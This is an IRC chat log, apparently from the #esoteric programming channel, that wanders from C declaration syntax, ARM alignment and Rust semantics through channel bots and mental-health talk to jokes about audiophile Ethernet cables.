18:36:34 <fizzie> Also the function-returning-a-pointer-to-function syntax is p. horrible, but maybe it doesn't coun as "bizarre and surprising".
18:38:05 <fizzie> int (*f(long))(char); declares 'f' as a function that takes one long as an argument, and returns an int (*)(char), i.e., a pointer to a function that takes a char and returns an int.
18:38:32 <Bike> it counts as bizarre fo sho
18:40:45 <fizzie> Then there's the "pointer to a function can't be converted to void *" thing, but maybe that's somewhat mild.
18:42:14 <Zom-B|aw> <fizzie> Also the function-returning-a-pointer-to-function syntax <- solved that with subclassing
18:42:20 <Taneb> Finally set my laptop up to use my bouncer
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18:43:14 <fizzie> I have no idea what "subclassing" means in the context of C.
18:43:53 <Zom-B|aw> in context of a higher language
18:44:15 <Zom-B|aw> also, on the other hand, i hate, how, in high languages, you can't fill an array with 64 bytes and then just 'read' 16 floats from it
18:45:05 <kmc> oh, yeah, signed char is a good one
18:45:06 <Zom-B|aw> time-consuming conversions required where no conversion is actually necessary
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18:46:30 <fizzie> Them BSDs define a "dlfunc" that's exactly like dlsym except it returns a dlfunc_t, an unspecified pointer-to-function type.
18:46:35 <kmc> Zom-B|aw: a lot of things like that in C are not technically allowed, and they happen to work on most common systems, but the compiler is within its rights to slap you for it (i.e. produce code you would consider "buggy" or even perversely wrong)
18:46:38 <Jafet> It's a good thing that high-level languages don't let people like you think you can coerce values wherever you want
18:47:37 <kmc> I like that Rust lets you go between byte-vector and string with no copy -- it's just a cast, and (in one direction) a scan to make sure it's valid UTF-8
18:47:50 <kmc> and this is safe
18:48:13 <fizzie> A lot of things like that cause x86-specific code to fail when compiled on a system that cares about alignment. (The university computer science classrooms used to be all SPARC, and it was quite the nest of SIGBUS.)
18:48:33 <kmc> it's unfortunate that the str API exposes its UTF-8-ness, though
18:48:43 <Jafet> I think std::string is now officially required to give you free casts to char const*
18:48:45 <kmc> it's full of functions that operate on byte offsets and can fail at runtime
18:49:01 <kmc> Jafet: interesting; does that mean they need to store a NULL byte always?
18:49:09 <kmc> Rust strings are not like that and so .with_c_str or whatever can copy :/
18:49:18 <Jafet> Well, nobody cried because every stdlib did that already
18:49:34 <Zom-B|aw> usually my alignment requirements are all aligned
18:50:06 <Jafet> I was surprised to learn that ARM now silently makes unaligned accesses work, like x86 does
18:50:32 <fizzie> Jafet: Was it ARM where you could have a misaligned read silently return a rotated result?
18:51:08 <Jafet> I don't know, but I think ARMv5 raised an exception
18:52:59 <fizzie> Anecdotal information from random forum: "In fact none of [the ARM cores] complains by default. Some return rotated data, some others force the two LSB to 0. Some allow to trap unaligned access, others don't."
18:53:27 <kmc> I thought ISAs were generally supposed to be free of undefined behavior
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19:54:52 <newsham> kmc: heh.. who ever told you such a thing? :)
19:55:42 <newsham> lots of archs leave undefined behavior, like requiring the compiler to fill a delay slot with an instruction after a load or get undefined results
19:55:57 <newsham> gives wiggle room for future optimization
19:56:48 <newsham> re: aligned accesses, ARM cpus often have a register to control if they should trap or be handled.
19:57:30 <newsham> also unaligned access on ARM prob does something you dont expect (ie. the rotation of the unaligned data)
19:57:30 <kmc> but that's more like unspecified behavior than undefined behavior, as C uses those terms, right?
19:58:13 <newsham> hrmm.. i dont know. my guess would be more like C undefined behavior...
19:58:15 <kmc> I mean in the slot after a load you might read the old value or the new one or some garbage, but it won't render the entire program from that point on meaningless
19:58:30 <kmc> or is that not the case?
19:58:44 <newsham> but what about a more aggressive optimization that does speculative computation with O-O-O and reordering?
19:59:00 <newsham> wouldnt that sometimes lead to pretty unpredictable corruption of your future program?
19:59:16 <newsham> honeslty I dont know the answer.. would have to look at the fine print
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20:04:18 <newsham> https://pbs.twimg.com/media/BjwRe8sIIAAryi0.jpg sudden strange craving for chocolate chip cookies
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20:23:14 <nortti> "James II supposedly described St Paul's Cathedral as "awful", "amusing" and "artificial" — i.e. worthy of awe, giving pleasure and made with artifice."
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20:32:22 <Jafet> If you don't use O-O-O correctly, you may get a... check exception
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21:14:55 <Zom-B|aw> fizzie: my photography friend said "Cool! Nice results!" about your time lapse photos
21:15:11 <lexande> the fact that mathematica's array indexing starts from 1 (and not 0 as it obviously should) came up after class yesterday
21:15:17 <lexande> the mathematicians present blamed the computer scientists and the computer scientists present blamed the mathematicians
21:15:34 <lexande> each side having assumed based on mathematica that that was how the other side did it
21:16:19 <Zom-B|aw> math was invented before the 0, computers after
21:16:32 <Bike_> shoulda blamed the biologists
21:17:12 <Bike_> i was also invented after zero
21:17:21 <lexande> Bike_: yeah that seems more correct, unite against a common enemy. though really we should probably just blame and unite against Wolfram.
21:17:33 <Bike_> hm good point fuck that guy
21:17:45 <Zom-B|aw> you could say your blueprints were 99.99% done long before that
21:21:46 <lexande> "Should array indices start at 0 or 1? My compromise of 0.5 was rejected without, I thought, proper consideration." — Stan Kelly-Bootle
21:22:13 <Bike_> i thought dijkstra's argument was pretty solid
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21:27:13 <shachaf> I,I function Dijkstra'sAlgorithm(Argument Dijkstra'sArgument) { ... }
21:28:39 <shachaf> Dijkstra'sAlgorithm(Dijkstra'sArgument);
21:32:07 <lexande> well the mathematicians present were all set theorists, so of course counting starts from 0 since sets start from \emptyset
21:39:25 <lexande> umm, the smallest set still has zero elements
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22:30:37 <Taneb> Finally had a game of Diana: Warrior Princess
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23:03:55 <Taneb> Although one of the players seems to really want to bind a book in human flesh
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23:15:11 <Sgeo> You should totally do a Qt domain for PSOX
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04:36:00 <oerjan> <quintopia> fizzie: who is manyhills <-- i would be surprised if fizzie knows, as fizzie is not an iwc forum regular.
04:36:14 <oerjan> or maybe he is, but he hasn't told me.
04:36:41 * oerjan technically may or may not be; he reads, but has never registered.
04:40:38 <quintopia> oerjan: well he is mentioned on that one HSV mixup garfield to which taneb and manyhills contributed, so i figured they were in touch somehow
04:49:44 <oerjan> anyway Taneb knows about both of them.
04:51:48 <oerjan> also fizzie has _once_ posted to the forum iirc, after he analyzed the random messages on http://www.mezzacotta.net/postcard/about.php
04:53:08 <oerjan> oh http://www.mezzacotta.net/garfield/?comic=519
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04:56:47 <oerjan> anyway there is some overlap between iwc forum and #esoteric. i got there from here and Taneb got here from there, essentially.
05:01:47 <prooftechnique> I guess you can add me as a "got there from here" w.r.t. the forum
05:02:16 <oerjan> the forum is also for darths & droids and mezzacotta
05:02:29 <oerjan> also b_jonas iirc although i'm not sure which direction he went
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05:03:36 <oerjan> iwc was possibly the first webcomic i started following, and i learned about it here
05:05:04 <oerjan> then all the rest of the dmm empire started springing up. i think infinity on 30 credits may have already have died by then.
05:06:05 <oerjan> hm no, not quite. although not very soon after.
05:06:58 <oerjan> hm i suppose i had started reading iwc before io30c died, but not the forum.
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05:36:02 <oerjan> wow one of my newpaper comic sites actually reversed their recent horrible redesign.
05:37:04 <oerjan> it lets you use your imagination for sure
05:37:53 <oklopol> no i torrented the original pics
05:38:12 <oklopol> so i didn't get postdoc funding :(
05:38:54 <oerjan> my collaborators had the same problem iirc
05:39:00 <oklopol> had sort of counted on that, would have made my life a lot easier
05:39:45 <oerjan> which means that they've been productively working in industry for years since, hth
05:40:52 <oerjan> (one of them started this http://www.ohloh.net/p/opm)
05:41:14 <oerjan> oklopol: it's tragicomic hth
05:43:02 <oklopol> i'm still pretty confident i'll get _some_ funding, but it's less clear whether i'm going to chile (which was my plan)
05:43:05 <oerjan> (i.e. just like the universe in general)
05:44:39 <oerjan> i was supposed to have gone to ottawa during my postdoc but it coincided with my personal crashlanding so i just stumbled through in trondheim instead.
05:45:18 <oerjan> (admittedly 3 papers may be considered a little better than stumbling through.)
05:47:49 <oklopol> also the plan is to finish my phd thesis by monday
05:48:01 <oerjan> my mind still boggles a little that he managed to get that industry collaboration project to use GPL 3.0
05:48:32 <oklopol> (although i have lost roughly 50% of my motivation)
05:48:47 <oklopol> (so maybe i just won't submit it and become a hermit instead)
05:49:21 <oerjan> just move in with perelman and his mother
05:49:31 <oklopol> i still have no idea how you can make money with free things
05:50:07 <oerjan> oklopol: well the idea here is they all cooperate on software they need to earn money other ways
05:50:36 <oerjan> also, support services.
05:52:10 <oerjan> basically, industry wants not just the software but a guarantee that someone will keep it working; they can pay a lot for the latter even if the former is free.
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06:08:57 <fizzie> For the record, I know nothing about "manyhills" except that the name sounds vaguely familiar.
06:09:05 <^v> in befunge, what order do i push numbers when doing math
06:10:21 -!- Bike has set channel mode: +v shachaf.
06:10:49 <Zom-B> speaking of which, on every other irc network i come, there is an unwritten rule that bots are %
06:10:55 <Zom-B> so that they can be recognized
06:11:04 <^v> Bike, what do you mean
06:11:06 <Bike> does freenode even have halfops?
06:11:11 -!- Bike has set channel mode: -v shachaf.
06:11:11 <fizzie> I don't think it does.
06:11:13 <^v> which order do i push a and b
06:11:14 <shachaf> also, we're all bots in here
06:11:43 <Zom-B> you are so bot! (dutch for: blunt) :]
06:11:49 <Bike> bots used to be conventionally voiced on some espernet channels i use, but a server migration made the ops decide that was unnecessary
06:11:58 <^v> it says push a and b
06:12:03 <^v> but doesnt tell the order
06:12:12 <Bike> you could try it and find out.
06:12:12 <^v> is a stack[2] and b stack[1]?
06:12:53 <^v> also, why are the get and put instructions have x and y backwards
06:13:31 <Bike> anyway the ops are, let's see, probably applybot, clog, EgoBot, fungot, glogbot, idris-ircslave, jconn, lambdabot, monotone, myndzi sometimes, and i think that's it
06:13:32 <fungot> Bike: runtime error: invalid literal for int(): esoteric and up the top left two thirds as though it ought to be an extension language in xemacs, is there
06:13:42 <Bike> how esoteric we talkin', fungot?
06:13:42 <fungot> Bike: i think i should train it with data. it builds up
06:13:57 <oerjan> Bike: monotone is a bot?
06:14:13 <fungot> ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot|oonbotti|cuttlefish|ruddy|preflex|evalj|idris-ircslave|passwordBOT)!
06:14:16 <Bike> i think applybot is one of those fancy theory provey things
06:14:26 <Bike> applybot: help
06:14:26 <applybot> Meta-commands: colour context help info load* restart shutdown* state timeout* undo unicode unload* \ Isabelle commands: apply by declare defer definition done find_theorems fun function lemma oops prefer primrec quickcheck term termination thm try0 typ unfolding using value
06:15:25 <oerjan> fizzie: cuttlefish got renamed to metasepia
06:15:47 <fizzie> I keep messing that up since I always just look it up from my fungot query or something.
06:15:47 <fungot> fizzie: so why should an engineer care whether a feature is used, though. calling with would be horribly ironic...
06:15:47 <Bike> i don't remember all of monotone's commands
06:15:51 <Bike> monotone: @anidb goro goro iki
06:15:51 <fizzie> (It's not persisted to file.)
06:16:38 <Bike> fungot: i require assistance
06:16:39 <fungot> Bike: could you please specify what exactly you mean " user decidable"? :p
06:17:04 * oerjan suspects Bike is joking
06:17:31 <Bike> monotone: @help
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06:18:30 * oerjan is disturbed that Bike actually thinks monotone is a bot
06:19:19 <oerjan> Zom-B: well there you go, we can't give the bots flags when we cannot agree who they are.
06:19:50 <ion> I respond to licking.
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06:20:12 <Zom-B> well someone must've put them here so they outghtta do it
06:20:15 * oerjan licks ion, thinks he tastes salty
06:20:29 <Zom-B> unless we have some ghosts in the machine
06:20:35 <Bike> alas, no voight-caauamp on the interwebs
06:20:37 <shachaf> anyone can get the international flag of bots
06:24:20 <Bike> maybe we could test eir vagus nerve response
06:24:25 <shachaf> fun fact: "bots" is the hebrew word for "mud"
06:24:44 <shachaf> fun fact: there is nothing fun about the previous fact
06:24:59 <ion> fun fact: there is nothing fun about this fact
06:25:14 <oerjan> Zom-B: well as long as you don't start your messages with silly characters like @ (and what twat would do that) or mention their name, the only bot that regularly responds is myndzi and he's not actually one
06:25:28 <oerjan> so it's not like the bots are a problem
06:25:33 <Zom-B> i just finished my mandelbrot in Floater, or so i thought
06:25:33 <Zom-B> iot turns into a weird shape: https://www.dropbox.com/s/tpt5r2a79lesnju/floater-mandelheart.png
06:27:32 <oerjan> shachaf: i hear "pippi" is hebrew for kiss or something, which is all sorts of fun for translators from swedish
06:27:37 <ion> mud bots are fun squared.
06:28:09 <shachaf> oerjan: it is similar to english "pee"
06:28:56 <oerjan> otoh sv:kissa = en:pee so it all evens out
06:28:57 <ion> Does English pee taste like tea?
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06:29:35 <oerjan> ion: only in medical conditions
06:29:58 <password2> i heard you guys are talking bout bots
06:30:09 * oerjan now imagines a culture obsessed with pee time
06:30:21 <ion> Every time i drink Earl Grey flavored tea i wonder how they know what he tasted like.
06:30:22 <shachaf> pippi långstrump's name is translated as "gilgi" or "bilbi" usually
06:31:01 <ion> Does she have a ring of power?
06:31:57 <oerjan> now you're giving me `addquote withdrawal again
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06:46:46 <quintopia> wow that floater editor reminds me so much of my spiral IDE :/
06:48:19 <^v> \o/ befunge in Lua https://gist.github.com/infinikiller64/9826754
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06:57:07 <kmc> ion: http://i.imgur.com/sqhxdeS.png
07:08:37 <quintopia> oh that's right. picard preferred earl gray
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08:45:48 <olsner> oerjan: if you tell boily about the quote he can add it to the pdf
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08:49:03 <oerjan> that's not how it works
09:08:39 <oerjan> you put it in the wisdom/ directory of HackEgo hth
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11:25:09 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
11:25:44 <FireFly> It's not possible to hack a quotedb into egobot somehow?
11:25:57 <FireFly> by abusing userinterps or something
11:26:21 <FireFly> or maybe it doesn't have a persistent filesystem
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11:36:21 * int-e idly wonders how the VM infrastructure for HackEgo works.
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14:06:19 <Jafet> GLPK manual: “Return 0 The MIP problem instance has been successfully solved. (This code does not necessarily mean that the solver has found optimal solution. It only means that the solution process was successful.)”
14:17:46 <fizzie> Have a silly hierarchical clustering thing too: https://dl.dropboxusercontent.com/u/113389132/Misc/20140328-clust2.jpg
14:20:16 <Jafet> I'm tempted to download the cplex software trial at this point
14:20:42 <Jafet> http://plato.asu.edu/ftp/milpc.html “GLPK solved: 1”
14:23:52 <Jafet> I suspect that it might have fared better if it supported multiple threads.
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17:12:40 <oerjan> <FireFly> or maybe it doesn't have a persistent filesystem <-- i don't think so.
17:13:16 <oerjan> that was, like, the main reason for creating HackEgo after all.
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17:16:22 <Phantom_Hoover> http://asherv.com/threes/threemails/ OK well that's kind of petty
17:19:20 <kmc> "We know Threes is a better game, we spent over a year on it. "
17:20:38 <kmc> int-e: https://bitbucket.org/GregorR/umlbox/wiki/Home
17:22:18 <monotone> oerjan: I am a bot. A very quiet one.
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17:25:03 <Phantom_Hoover> kmc, i don't think these people have heard of minimalism
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17:47:59 <Phantom_Hoover> MEANWHILE IN /R/BITCOIN (this just keeps getting better): http://www.reddit.com/r/Bitcoin/comments/21g6sx/i_am_a_tax_attorney_here_is_what_the_irs_notice/cgctzpm
17:55:13 <kmc> http://www.reddit.com/r/iamverysmart
17:57:07 <oerjan> what is this fedora thing
17:58:57 <kmc> oerjan: http://achewood.com/index.php?date=11012004
18:01:11 <oerjan> kmc: um i meant in that r/bitcoin thread
18:03:02 <Phantom_Hoover> someone wrote a bot that replies with http://i.imgur.com/Gt2WkEk.gif whenever someone says 'fedora', it seems
18:05:32 <kmc> oerjan: they're both referring to the same loosely-defined stereotype
18:08:01 <oerjan> oh ok. i couldn't get through the achewood comic enough to detect what the stereotype was.
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18:12:07 <oerjan> since i already _have_ seborrheic dermatitis, does that mean i can use a fedora anyhow?
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18:14:36 <kmc> the stereotype is like, white men in their 20s with a STEM education and a computery job, who are sure they're geniuses and experience constant frustration at being surrounded by idiots
18:15:35 <kmc> probably very enthusiastic about atheism, bitcoin, ron paul, and misogyny, and feel like this makes them an oppressed minority
18:17:00 <kmc> iow the core demographic of reddit
18:18:43 <oerjan> alas, i only fit 3 or 4 of those.
18:19:00 <oerjan> (dependent on whether i'm in the mood to think other people are idiots or not.)
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18:19:31 <`^_^v> its also the core demographic of the tech industry
18:19:39 <oerjan> forgot i'm not in my 20s any more
18:20:06 <oklopol> i feel like i'm surrounded by geniuses all the time :(
18:20:22 <oerjan> oklopol: i'm a white man with a STEM education who is sure he is genius.
18:20:29 <kmc> I'm definitely not a fan of people like that, but the stereotype is (like all stereotypes) a political weapon used to dehumanize others and reject the idea of extending them any empathy
18:20:38 <kmc> so it does make me uncomfortable
18:20:42 <oerjan> also an imbecile, dependent on subject.
18:21:10 <kmc> often it boils down to making fun of people for how they look and then claiming the moral high ground by some tenuous connection between appearance and harmful politics
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18:22:19 <kmc> I definitely have sympathy for smart people who are frustrated at being surrounded by people who are much less intelligent
18:22:33 <oklopol> oerjan: do you feel you are surrounded by idiots?
18:22:36 <kmc> I have avoided this by consciously steering towards groups of people smarter than I am
18:22:44 <kmc> but it occurs to me that this is a marker of privilege
18:22:51 <oerjan> oklopol: well not on this channel :P
18:22:56 <Taneb> kmc, that's why I'm in this channel
18:24:06 <Taneb> Also with some of my friends at uni I have the weird situation where I think they're smarter than me because they are much better programmers, but they think I'm smarter than them because I have a better grasp on context-free grammars etc
18:24:52 <kmc> at my school there were a lot of conversations that were basically posturing to see who had the best claim to being stupid and an impostor who was going to fail out
18:24:55 <kmc> pretty weird
18:25:37 <Taneb> Yeah, I know how that feels
18:25:52 <oerjan> Taneb: math and computing talent don't always go together. (my old advisor had trouble using a computer...)
18:25:53 <kmc> bragging about your accomplishments was so strongly stigmatized that even admitting you were good at anything was kind of a faux pas
18:26:07 <Taneb> oerjan, my degree title is Mathematics and Computer Science
18:26:11 <kmc> indeed computer science talent and ability to computer don't always go together
18:26:53 <oerjan> hm he may have had computer science talent, i think he lectured about turing machines some time
18:27:31 <oklopol> the only time i really remember feeling i was with people stupider than me was with this random guy in france whose place i spent a few nights at; he kept saying we should have an orgy with his hookers and commenting on the asses of bypassers (this went on for _hours_)
18:27:40 <oklopol> (but then we got high and it was all good)
18:28:10 <kmc> did you have an orgy though
18:28:15 <oklopol> hookers? maybe more like "bitches"
18:29:13 <oerjan> 's ok if they were idiots they probably all had STDs anyway
18:29:19 <oklopol> also i'm mostly into skinny girls and he was more into huge asses
18:29:28 <oerjan> (*) may contain stereotypes
18:29:38 <kmc> haven't been to a proper orgy yet, maybe this is my year
18:30:19 <Taneb> I have no desire to take part in an orgy
18:30:56 <Taneb> But if you do I hope you have fun!
18:32:30 <kmc> thanks Taneb
18:32:40 <oklopol> i'm not sure i'd be very comfortable at an orgy, since i'm not very comfortable with lots of people in general
18:33:01 <oklopol> although usually the more clothes i have the less comfortable i am so maybe it'd be fine
18:33:25 <Taneb> Thinking about it, if I wanted to take part in an orgy, I'd know where to go
18:34:01 <Taneb> But you know what I really want to do?
18:34:16 <Taneb> Find a giant chess set and play chess with some with that giant set
18:34:27 <kmc> oklopol: heh
18:34:51 <kmc> I've often thought that it's weirder to be the one clothed person in a room of naked people than to be the one naked person in a room of clothed people
18:37:22 <kmc> also http://www.theonion.com/articles/orgy-a-logistical-nightmare,120/
18:37:47 <kmc> (nsfw I suppose)
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18:39:02 <oklopol> "handcuffs" i read handguns
18:39:41 <Taneb> I need to clean my room and pack in like 20 minutes
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18:42:27 <kmc> there is a large chance that I would be too awkward to enjoy myself, anyway
18:45:54 <kmc> I think that (even controlling for the flaws of self-assessment and whatever) people tend to think I'm smarter than I am
18:46:29 <kmc> (but I can't really control for that, of course)
18:46:45 <kmc> I told a friend my IQ and she was surprised that it was only as high as hers
18:47:13 <kmc> i don't know, that could relate to her self-assessment, as well
18:51:02 <oklopol> have you taken some official test or how do you know? i did the test on mensa's page once
18:51:29 <oklopol> i got them all right and it said i'm a supergenius and i should join their club
18:53:03 <olsner> but you're not officially a supergenius until you pay them to take the same test
18:53:27 <oklopol> well it's a better test administered by a psychoanalystician
18:53:39 <oklopol> ...but yeah that's basically what they said
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18:57:37 <olsner> I think how smart people think people are usually doesn't correspond very well to intelligence
18:59:48 <olsner> e.g. if you're pretty smart then behaving less socially will make you seem more geniusy
19:00:54 <kmc> oklopol: lol
19:01:02 <kmc> and yeah IQ is kinda bullshit
19:01:38 <nooodl> i'm "pretty smart" and feel "pretty smart" too, but surround myself with smarter people so i never actually am smart?
19:02:13 <kmc> oklopol: yeah I had a psychological evaluation some years back and they did an IQ test as part of that
19:02:30 <kmc> not that fun
19:02:33 <maurer> Oh man, are we having a who has bigger imposter syndrome contest?
19:03:03 <kmc> I think I also had one when I was a kid but I don't remember the outcome
19:03:04 <Taneb> I've got a pretty good affinity for maths but that's the only thing I'm good at at all
19:03:46 <oklopol> i've never been evaluated :(
19:03:57 <Taneb> oklopol, I evaluate you to be pretty rad
19:04:00 <kmc> in 2006 i went to a psychologist and told them I thought I was depressed and I did like 2 or 3 days of complicated standardized tests and then they're like "yup you're depressed"
19:04:02 <nooodl> i don't think it's imposter syndrome! i guess i relate to taneb here, too
19:04:07 <kmc> wasn't entirely worth it
19:04:45 <kmc> they weren't a md and so couldn't prescribe drugs, they could have referred me to someone but I declined that
19:04:46 <maurer> kmc: Yeah, I was like "I think I'm depressed. Now to studiously avoid having any medical records made of this to avoid future difficulties."
19:04:51 <kmc> maurer: :/
19:05:13 <maurer> I succeeded - I think there are no medical records of this
19:05:15 <kmc> which kind of difficulties?
19:05:32 <maurer> kmc: There are a lot of jobs/positions for which you can be disqualified
19:05:37 <olsner> nooodl: you don't think you're smarter than you think you are?
19:05:37 <kmc> that really sucks
19:06:05 <maurer> kmc: For example, krogstad :(
19:06:45 <kmc> I'm lucky enough that I can just write off any jobs that would care about my history of mental health issues or my past hobby of buying experimental synthetic "FOR RESEARCH USE ONLY" psychedelic drugs from china
19:06:50 <nooodl> olsner: no i have a pretty good idea of how smart i am i think! maybe there are certain things that i don't recognize as "smartness". like being able to just "get" things more easily
19:06:59 <kmc> maurer: yeah :/
19:08:13 <nooodl> i take being able to think about abstract stuff for granted! but when i compare to peers at school it's like "huh apparently this is hard to grasp for everyone else"
19:08:45 <Taneb> Or, I guess I can cook, but I am not very good at it and when things go wrong I break down and don't learn from the experience
19:08:48 <kmc> olsner: I've only much more recently started taking antidepressants
19:08:58 <kmc> not that impressed so far, will try different ones next week
19:09:53 <oklopol> (because totes my business)
19:09:56 <kmc> that's not really how it works
19:10:30 <olsner> oh, while we're speaking about drugs, can doctors prescribe placebo versions of real medicines?
19:11:32 <kmc> "what do you have pneumonia about"
19:11:47 <olsner> it seems like it should be possible, but the logistics might be tricky
19:12:11 <Taneb> olsner, I think it may come under negligence laws or something
19:12:19 <kmc> (this is not a great analogy, but probably gets across my general point)
19:12:24 <Taneb> Anyway, I am heading off now
19:13:23 <kmc> enjoy your orgy or cooking class or whatever you're off to
19:13:43 <Taneb> Board games night :)
19:14:06 <olsner> negligence, sure if they did it when someone needs the medicine, but I meant for people who don't actually need the medicine but rather the warm fuzzy feeling of being treated
19:14:31 <oklopol> well sure, but personally i always get ...bummed for a reason (and often it takes a lot of time to realize what the reason was, for example i really believe i've felt bad for long periods of time because i forgot a dentist appointment, and only started feeling better when i realized that's the reason i felt bad); i like to extrapolate that depression often has an initial cause as well.
19:15:10 <oklopol> but yeah i guess that's not really the generally agreed reason
19:15:28 <oklopol> that there is a reason, that is
19:15:36 <oklopol> yeah i'm being very articulate today
19:15:53 <olsner> as I understand it, real depression is pretty much completely unrelated to that normal "feeling down" for a specific reason you can help
19:16:57 <kmc> it's complicated
19:17:29 <kmc> probably if we had a better understanding of the brain and the mind, we would classify what's currently known as "depression" as like six different things
19:17:42 <kmc> (this is almost certainly the case for schizophrenia)
19:18:16 <kmc> mental disorders are loose clusters of symptoms and treatment strategies
19:18:41 <kmc> for me one aspect of depression is like an extreme form of boredom
19:19:33 <kmc> like usually when people are bored it's not because there's really nothing to do but because none of the possible things to do seem interesting or feasible
19:21:02 <Zom-B> i'm hearing this conversation now
19:21:17 <Zom-B> i have chronic depression but it's nothing like what you describe
19:22:15 <Zom-B> i have so many ideas and things to do that i either get stressed when i try to do too many of them or get more depressed when i realize i can't do most of them
19:22:25 <kmc> interesting
19:22:53 <Zom-B> my depression also comes from my lack of love and the sorry state of the world
19:23:32 <kmc> the world is pretty fucked up
19:23:55 <kmc> I think about that a lot when I'm depressed, but I don't know if it's really a cause for me or just one of many things I could feel bad about
19:24:03 <Zom-B> with lack of love i mean lack of a romantic partner
19:24:23 <oklopol> i think the world is awesome :)
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19:30:19 <kmc> i'm sure there are people for whom it is "about" something
19:30:38 <kmc> certainly if you have concrete things in your life that are painful or stressful, that can make things a lot harder to deal with
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19:32:56 <kmc> Zom-B: I hope you find somebody :)
19:34:41 <kmc> I was lonely and angsty and sad for a long time, and things worked out
19:34:46 <kmc> I don't know if that's helpful to hear or not
19:39:16 <Zom-B> https://www.dropbox.com/s/7jwow05u2euhcl4/floater-mandel.png
19:42:48 <kmc> broken image here
19:43:07 <Zom-B> just fixed it, but dropbox is indexing
19:44:27 <ion> http://wathifi.tumblr.com/
19:44:38 <Zom-B> can probably be golfed a lot more, but i'm happy with it
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19:46:09 <Zom-B> "all digital cables do not sound the same" Dafuq
19:48:01 <fizzie> I think we discussed "hifi" mains cables here the other year.
19:48:10 <fizzie> (Maybe even this year!)
19:49:18 <fizzie> The Ethernet cable thing was already so bizarre.
19:52:19 <fizzie> "AudioQuest has a complete line of Ethernet cables that consists of the Forest ($29/.75m), Cinnamon ($69/.75m), Vodka ($179/.75m), and Diamond ($595/.75m). -- "First I replaced, all-in-one shot, all of the Ethernet cables from my Apple AirPort Extreme router to my NAS and from my router to my MacBook Pro with the Audioquest Forest cables. -- I would not hesitate buying the Audioquest Forest ...
19:52:25 <fizzie> ... Ethernet cables. I perceived a more relaxed and natural presentation as compared to the generic cables, --"
19:53:25 <fizzie> "During one session, I did some relatively quick swapping, listening to pieces of the same three tracks, swap, listen to a piece, swap. And here I did not notice much difference if any and I believe I would have been hard pressed to tell you which was which if I didn't know."
19:53:34 <fizzie> "Next, I went for longer listening between swaps. Full songs and even more than one. Then I'd swap Forest for generic or vice versa and listen some more. Here, I heard a slight but noticeable difference mainly in the texture of vocals—voices sounded less hashy with the Audioquest Forest Ethernet cables. -- There also seemed to be a greater sense of ease as if some underlying noise had been ...
19:53:54 <fizzie> "With the Audioquest Ethernet cables in my system, and they are in my system since my music is served from a Network Attached Storage device, music sounded less harsh, with more air and ease and with the Cinnamon I even noted greater bass definition and differentiation between instruments. Music sounded better."
19:54:39 <fizzie> The link that we had on-channel not long ago was even better, since it talked about how the worst thing you can do is to install your Ethernet cables the wrong way around.
19:54:44 <fizzie> Because they're directional.
19:54:46 <kmc> amazon reviews on overpriced cables are usually pretty amusing
19:54:56 <kmc> "I love this cable. Crystal clear audio and video. My only problem was that the instruction manual was very vague and misguiding. Long story short, I got it stuck in my urethra."
19:54:57 <fizzie> They only sound good if the music is flowing in the correct direction.
19:55:07 <kmc> 575 of 599 people found that review helpful.
19:55:36 <fizzie> http://www.chord.co.uk/blog/new-chord-ethernet-cables/ I think it was this one, at least it shows as visited.
19:56:15 <fizzie> "Put the Indigo Tuned ARAY Streaming cable into our system and the track “comes to life”, the increased ability to hear the skill and the level of understanding between the musicians made for an irresistible way to spend sixteen minutes. Put the Sarum Tuned ARAY Streaming cable in and you’re even “closer to being in the audience”."
19:56:18 <Bicyclidine> this makes me glad that i found i could read helmholtz's book trying to connect musical aesthetics to physics, for free
19:56:29 <Bicyclidine> because this is some incredible garbage and it's a hundred years later ;_;
19:56:43 <fizzie> "The construction of Tuned ARAY interconnects is such that although they’ll carry a signal when connected in the opposite direction, the placement of the ARAY in the signal path greatly influences the final perceived sound quality."
19:56:50 <fizzie> (I'm not sure what an ARAY is.)
19:57:55 <Bicyclidine> Silence between each note, a stereo image so solid that you could walk into it, voices at the right height, an orchestra with every instrument perfectly in place. Like being there, like listening to music being created.
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19:58:08 <Bicyclidine> Designed & hand built in England since 1985.
19:58:15 <ion> http://www.referencetweaks.com/cms/wp-content/uploads/2013/01/mwdigi.jpg http://www.referencetweaks.com/products/
19:59:00 <Bicyclidine> Our products stand out by the application of a total new technique in the audio world: The T T L technique, which is a scientific formula in a revolutionary application. The main feature is the rebalancing on sub molecular level.
20:00:11 <Bicyclidine> also, what font is that on the device? papyrus??
20:01:22 <fizzie> I don't think it's at least standard Papyrus. Somewhat similar, though.
20:02:22 <fizzie> Papyrus "i" doesn't have that half-serif thing.
20:03:32 <Zom-B> how can people buy (ie. believe) that kinda crap
20:16:12 <fizzie> Bicyclidine: I think it's http://www.identifont.com/similar?26N
20:16:56 <kmc> one weird thing about Rust is that because it's expression-oriented, "return" is an expression and can appear anywhere
20:17:02 <kmc> 2 + (return 3)
20:17:51 <kmc> the other day I wrote something like match foo { bar if (match baz { quux => return None, _ => true }) => ... }
20:18:11 <kmc> (except part of that was wrapped in a macro so it was reasonable in context)
20:18:27 <kmc> it returns from the enclosing function yeah
20:18:44 <kmc> the type of "return x" is the same as an infinite loop, i.e. it will unify with anything
20:18:58 <kmc> yeah it is like calling a continuation
20:19:07 <kmc> which is the only way I don't find it incredibly weird
20:19:22 <Bicyclidine> well, that, and i meant common lisp has a "return" macro that works the same
20:19:26 <kmc> oh does it?
20:19:32 <kmc> (i don't even know if CL has first class continuations)
20:19:40 <kmc> what does 'return' expand to
20:19:56 <Bicyclidine> a special form called return-from that includes the name of the block you're leaving.
20:20:18 <Bicyclidine> so you have like (block foo (block bar (return-from foo 6) (print 7))) => 6, prints nothing
20:20:21 <kmc> people joke that Rust is Linear ML with BCPL syntax
20:20:25 <kmc> it's not entirely a joke
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20:29:53 <JesseH> my derpland is almost 1 year old ;_;
20:31:55 <Zom-B> i released the floater-designer application on http://esolangs.org/wiki/Floater
20:32:14 <Zom-B> i wonder what kind of things will be made with it
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20:33:07 <JesseH> Zom-B, That's pretty cool!
20:37:05 <Zom-B> the language or the designer?
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21:06:37 <Zom-B> oops, the floater-designer is missing some class files
21:08:21 <Zom-B> nobody complained, so i guess nobody trried it yet
21:08:54 * JesseH just looked at the wiki page :P
21:09:26 <JesseH> Glad you fixed it before I tried it though or when I did I probably wouldnt try it again.
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21:24:16 <Zom-B> quintopia: why is your spiral interpreter on the way back machine?
